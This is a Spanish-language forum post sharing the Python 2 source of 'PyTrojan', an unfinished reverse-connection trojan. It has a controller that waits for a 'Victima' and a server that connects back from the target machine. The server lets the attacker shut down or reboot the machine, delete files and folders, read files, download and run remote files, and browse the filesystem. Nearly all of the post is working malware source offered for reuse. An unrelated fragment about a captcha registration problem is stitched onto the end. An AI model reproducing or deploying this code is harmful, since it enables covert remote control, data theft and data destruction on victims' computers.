Hace algún tiempo empecé a estudiar Python más que nada por aburrimiento y lo primero que empecé a escribir era este Troyano de conexión inversa que lo acabo de encontrar en un disco duro externo abandonado. No lo he acabado nunca y tampoco creo que lo acabe por falta de tiempo y ganas pero dejo el código por si a alguien le sirve en un futuro o tiene ganas de acabarlo.
Cliente:
Servidor:
Cliente:
Código (python) [Seleccionar]
# -*- coding: utf-8 -*-
##########################################
## ##
## PyTrojan ##
## By Proxy ##
## Fecha Inicio: 28/04/13 ##
## Fecha Fin: ../../.. ##
## Client ##
## ##
##########################################
import socket
import os
import time
#Limpiamos Pantalla
def cls():
os.system(['clear','cls'][os.name == 'nt'])
#Imprimimos Cabecera
def Cabecera():
print ' ****************************************************'
print ' **** ****'
print ' **** PyTrojan v1.0 Beta ****'
print ' **** ****'
print ' ****************************************************'
#Imprimimos Opciones
def Opcionestop():
print ' ****************************************************'
print ' **** Opciones ****'
print ' ****************************************************'
print ' **** ****'
print ' **** 1) Apagar Equipo ****'
print ' **** ________________________ ****'
print ' **** 2) Reiniciar Equipo ****'
print ' **** ________________________ ****'
print ' **** 3) Downloader ****'
print ' **** ________________________ ****'
print ' **** 4) Localizador IP ****'
print ' **** ________________________ ****'
print ' **** 5) Limpiar Pantalla ****'
print ' **** ________________________ ****'
print ' **** 6) Consola ****'
print ' **** ________________________ ****'
print ' **** 7) Desconectar ****'
print ' **** ________________________ ****'
print ' **** 8) Desconectar ****'
print ' **** ________________________ ****'
print ' **** 9) Apagar Servidor ****'
print ' **** ________________________ ****'
print ' **** 10) Salir ****'
print ' **** ________________________ ****'
print ' **** ****'
print ' ****************************************************'
#Consola de Comandos
def Consola(s, sc):
time.sleep(1)
def Menuopc():
print '\nHELP: Muestra la lista de comandos de la consola'
print 'DEL: Elimina el archivo marcado'
print 'XDEL: Elimina la carpeta marcada'
print 'COPY: Copia un archivo a otra directorio'
print 'READ: Abre el archivo en la consola'
print 'OPEN: Ejecuta un archivo'
print 'WANT: Busca en todos los archivo con extension a elegir'
print 'DIR: Muestra el directorio actual'
print 'CD: Cambia de directorio al directorio seleccionado'
print 'EXIT: Salir de la consola de comandos\n'
Menuopc()
while True:
opconsola = raw_input('>>> ')
if opconsola == 'help':
Menuopc()
elif opconsola.startswith('del') == True:
time.sleep(1)
ruta1 = opconsola[:3]
ruta2 = opconsola[4:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
break
elif opconsola.startswith('xdel') == True:
time.sleep(1)
ruta1 = opconsola[:4]
ruta2 = opconsola[5:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
break
elif opconsola == 'copy':
time.sleep(1)
ruta1 = opconsola
ruta2 = raw_input('Introduce la ruta del archivo a copiar >>> ')
ruta3 = raw_input('Introduce la ruta donde se copiara el archivo >>> ')
sc.send(ruta1)
sc.send(ruta2)
sc.send(ruta3)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
elif opconsola.startswith('read') == True:
time.sleep(1)
ruta1 = opconsola[:4]
ruta2 = opconsola[5:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(100000000)
print '\n' + recibido + '\n'
break
elif opconsola.startswith('open') == True:
time.sleep(1)
ruta1 = opconsola[:4]
ruta2 = opconsola[5:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
break
elif opconsola.startswith('want') == True:
time.sleep(1)
ruta1 = opconsola[:4]
ruta2 = opconsola[5:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(100000000)
print '\n' + recibido + '\n'
break
elif opconsola == 'dir':
time.sleep(1)
sc.send(opconsola)
recibido = sc.recv(100000000)
print '\n' + recibido + '\n'
elif opconsola.startswith('cd') == True:
time.sleep(1)
ruta1 = opconsola[:2]
ruta2 = opconsola[3:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
break
elif opconsola == 'exit':
time.sleep(1)
sc.send(opconsola)
print '\nHas salido de la consola...\n'
break
#Opciones despues de conectar
def Opciones(s, sc, addr):
cls()
orden = ''
while orden != '10':
Opcionestop()
while True:
orden = raw_input('>>> ')
if orden == '1': #Apaga Equipo
try:
sc.send('apagar')
print sc.recv(1024)
except:
print 'El servidor esta desconectado...'
elif orden == '2': #Reinicia Equipo
try:
sc.send('reiniciar')
print sc.recv(1024)
except:
print 'El servidor esta desconectado...'
elif orden == '3': #Downloader
try:
direccion = raw_input('Introduce la direccion >>> ')
time.sleep(1)
nomarch = raw_input('Introduce el nombre del archivo con extension >>> ')
time.sleep(1)
sc.send('downloader')
time.sleep(1)
sc.send(direccion)
sc.send(nomarch)
time.sleep(1)
vari = sc.recv(1024)
print vari
except:
print 'El servidor esta desconectado...'
else:
try:
while vari == 'Archivo descargado con exito...':
ejecutar = ''
while ejecutar != 'si' and ejecutar != 'no':
ejecutar = raw_input('Desea ejecutar el archivo? (si o no) >>> ')
if ejecutar == 'si':
sc.send('si')
print sc.recv(1024)
elif ejecutar == 'no':
sc.send('no')
else:
print 'Introduce si o no...'
else:
break
else:
pass
except:
print 'Ha ocurrido un error...'
elif orden == '4': #Localiza IP
try:
sc.send('localizadorip')
iploc = addr[0]
sc.send(iploc)
print sc.recv(1024)
except:
print 'El servidor esta desconectado...'
elif orden == '5': #Limpia la Pantalla
time.sleep(1)
cls()
Opcionestop()
elif orden == '6':
try:
sc.send('consola')
Consola(s, sc)
except:
print 'El servidor esta desconectado...'
elif orden == '7':
print 'hello'
elif orden == '8':
print 'hello'
elif orden == '9': #Apaga Servidor
try:
sc.send('desconectar')
print sc.recv(1024)
except:
print 'El servidor esta desconectado...'
elif orden == '10':
print 'Te has desconectado...'
break
else:
print '%s No se reconoce como un comando' % orden
#Menu
def Menu():
opcion = ''
while opcion != '1' and opcion != '2':
cls()
Cabecera()
print ' ****************************************************'
print ' **** ****'
print ' **** 1) Esperar Conexiones ****'
print ' **** 2) Salir ****'
print ' **** ****'
print ' ****************************************************\n'
opcion = raw_input('>>> ')
if opcion == '1':
cls()
print ' ****************************************************'
print ' **** ****'
print ' **** Esperando Conexiones... ****'
print ' **** ****'
print ' ****************************************************'
host = ''
port = 9999
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(3)
sc, addr = s.accept()
except:
cls()
print ' ****************************************************'
print ' **** ****'
print ' **** Ocurrio un problema... ****'
print ' **** ****'
print ' ****************************************************'
raw_input()
else:
cls()
print ' ****************************************************'
print ' **** ****'
print ' **** Victima ****'
print ' **** ****'
print ' ****************************************************\n'
print 'Se ha establecido la conexion con...', addr[0]
raw_input()
Opciones(s, sc, addr)
elif opcion == '2':
cls()
print ' ****************************************************'
print ' **** ****'
print ' **** Gracias por usar PyTrojan ****'
print ' **** ****'
print ' ****************************************************'
raw_input()
cls()
Menu()Servidor:
Código (python) [Seleccionar]
##########################################
## ##
## PyTrojan ##
## By Proxy ##
## Fecha Inicio: 28/04/13 ##
## Fecha Fin: ../../.. ##
## Server ##
## ##
##########################################
import socket
import time
import os
import urllib
import shutil
import glob
#Consola de Comandos
def Consola(s):
while True:
opconsola = s.recv(1024)
if opconsola == 'del':
ruta = s.recv(1024)
try:
os.remove(ruta)
s.send('El archivo ha sido eliminado con exito...')
except:
s.send('El archivo no ha podido ser eliminado...')
elif opconsola == 'xdel':
ruta = s.recv(1024)
try:
shutil.rmtree(ruta)
s.send('La carpeta ha sido eliminada...')
except:
s.send('La carpeta no ha podido ser eliminada...')
elif opconsola == 'copy':
ruta1 = s.recv(1024)
ruta2 = s.recv(1024)
try:
shutil.copy(ruta1, ruta2)
s.send('El archivo ha sido copiado...')
except:
s.send('El archivo no ha sido copiado...')
elif opconsola == 'read':
ruta = s.recv(1024)
try:
arch = open(ruta, 'r')
line = arch.readline()
while line != '':
s.send(line)
line = arch.readline()
except:
s.send('El archivo no ha podido ser abierto...')
elif opconsola == 'open':
ruta = s.recv(1024)
try:
os.startfile(ruta)
s.send('Archivo ejecutado con exito...')
except:
s.send('El archivo no ha podido ser ejecutado...')
elif opconsola == 'want':
ruta = s.recv(1024)
try:
lista = glob.glob('*' + ruta)
joinlistar = '\n'.join(lista)
s.send(joinlistar)
except:
s.send('Ha ocurrido un error...')
else:
s.send('\n.')
elif opconsola == 'dir':
try:
listardirectorio = os.listdir('.')
joinlistardire = '\n'.join(listardirectorio)
s.send(joinlistardire)
except:
s.send('Ha ocurrido un error...')
elif opconsola == 'cd':
ruta = s.recv(1024)
try:
os.chdir(ruta)
s.send(os.getcwd())
except:
s.send('No se puede encontrar la ruta especificada...')
elif opconsola == 'exit':
break
#Conexion con el cliente
def conexion():
host = 'localhost'
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
while True:
recibido = s.recv(1024)
if recibido == 'apagar': #Apaga Equipo
time.sleep(1)
s.send('El equipo se esta apagando...')
os.system('shutdown -s -f -t 0')
elif recibido == 'reiniciar': #Reinicia Equipo
time.sleep(1)
s.send('El equipo se esta reiniciando...')
os.system('shutdown -r -f -t 0')
elif recibido == 'downloader': #Downloader
time.sleep(1)
try:
direccion = s.recv(1024)
nomarch = s.recv(1024)
urllib.urlretrieve(direccion, nomarch, reporthook=None)
except:
s.send('Ha ocurrido un error...')
else:
s.send('Archivo descargado con exito...')
try:
ejecutar = s.recv(1024)
if ejecutar == 'si':
os.startfile(nomarch)
elif ejecutar == 'no':
continue
except:
s.send('Ha ocurrido un error al intentar ejecutar el archivo...')
else:
s.send('Archivo ejecutado con exito...')
elif recibido == 'localizadorip': #Localiza IP
try:
time.sleep(1)
iploc = s.recv(1024)
ipaddr = 'http://api.hostip.info/get_html.php?ip=%s&position=true' % iploc
response = urllib.urlopen(ipaddr).read()
except:
s.send('Ha ocurrido un error...')
else:
s.send(response)
elif recibido == 'consola': #Consola de Comandos
time.sleep(1)
Consola(s)
elif recibido == 'desconectar': #Apaga Servidor
time.sleep(1)
s.send('Servidor apagado correctamente...')
s.close()
break
else:
conexion()
#Reintentamos conexion si el cliente se ha desconectado
while True:
time.sleep(3)
try:
conexion()
except:
pass
else:
break






)" he visto que hay otro usuario que tuvo el mismo problema que yo pero no le resolvieron las dudas, he cambiado el usuario, email, fecha, he intentado registrarme con otra IP hasta desde otro ordenador y siempre me da el mismo error, también le he pedido a otra persona que escribiera las letras del captcha y también he utilizado otro navegador, Firefox, Opera, Internet Explorer y nada sigue igual. Espero que alguien pueda resolver mi problema porque no creo que esto sea normal. Gracias con antelación.
